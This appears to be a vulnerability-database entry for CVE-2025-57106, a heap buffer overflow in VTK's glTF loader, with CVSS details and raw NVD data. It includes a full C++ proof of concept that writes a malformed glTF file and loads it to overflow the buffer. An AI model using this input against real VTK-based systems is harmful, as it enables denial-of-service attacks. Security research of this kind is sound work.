Security Vulnerability Report
中文
CVE-2025-57106 CVSS 7.5 HIGH

CVE-2025-57106

Published: 2025-10-31 15:15:42
Last Modified: 2025-11-05 19:44:08

Description

Kitware VTK (Visualization Toolkit) up to 9.5.0 is vulnerable to Buffer Overflow in vtkGLTFDocumentLoader. The vulnerability occurs in the BufferDataExtractionWorker template function when processing GLTF accessor data.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vtk:vtk:*:*:*:*:*:*:*:* - VULNERABLE
Kitware VTK < 9.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <vtkSmartPointer.h> #include <vtkGLTFDocumentLoader.h> #include <vtkActor.h> #include <vtkRenderer.h> #include <vtkRenderWindow.h> #include <fstream> #include <nlohmann/json.hpp> using json = nlohmann::json; void createMaliciousGLTF(const std::string& filename) { // Create a malicious GLTF file with invalid accessor parameters json gltf; gltf["asset"]["version"] = "2.0"; gltf["asset"]["generator"] = "Malicious GLTF Generator"; // Create buffer with minimal data std::vector<char> buffer(16, 0); gltf["buffers"] = json::array(); gltf["buffers"].push_back({ {"byteLength", buffer.size()} }); // Create bufferView with invalid length gltf["bufferViews"] = json::array(); gltf["bufferViews"].push_back({ {"buffer", 0}, {"byteOffset", 0}, {"byteLength", 1000} // Exceeds buffer size }); // Create accessor with malicious parameters gltf["accessors"] = json::array(); gltf["accessors"].push_back({ {"bufferView", 0}, {"componentType", 5126}, // FLOAT {"count", 100}, // Request 100 floats {"type", "VEC3"}, // but declare as vec3 {"byteOffset", 0} }); // Write binary buffer std::ofstream binFile(filename + ".bin", std::ios::binary); binFile.write(buffer.data(), buffer.size()); binFile.close(); // Write GLTF JSON std::ofstream gltfFile(filename + ".gltf"); gltfFile << gltf.dump(2); gltfFile.close(); } int main() { // Generate malicious GLTF file std::string maliciousFile = "malicious_model"; createMaliciousGLTF(maliciousFile); // Load the malicious file with VTK vtkSmartPointer<vtkGLTFDocumentLoader> loader = vtkSmartPointer<vtkGLTFDocumentLoader>::New(); loader->SetFileName(maliciousFile.c_str()); loader->Update(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57106", "sourceIdentifier": "[email protected]", "published": "2025-10-31T15:15:42.317", "lastModified": "2025-11-05T19:44:07.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kitware VTK (Visualization Toolkit) up to 9.5.0 is vulnerable to Buffer Overflow in vtkGLTFDocumentLoader. The vulnerability occurs in the BufferDataExtractionWorker template function when processing GLTF accessor data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vtk:vtk:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.5.0", "matchCriteriaId": "4FACF42A-92AA-4011-9219-A8F328C6FF63"}]}]}], "references": [{"url": "https://gitlab.kitware.com/vtk/vtk/-/issues/19733", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.kitware.com/vtk/vtk/-/issues/19734", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}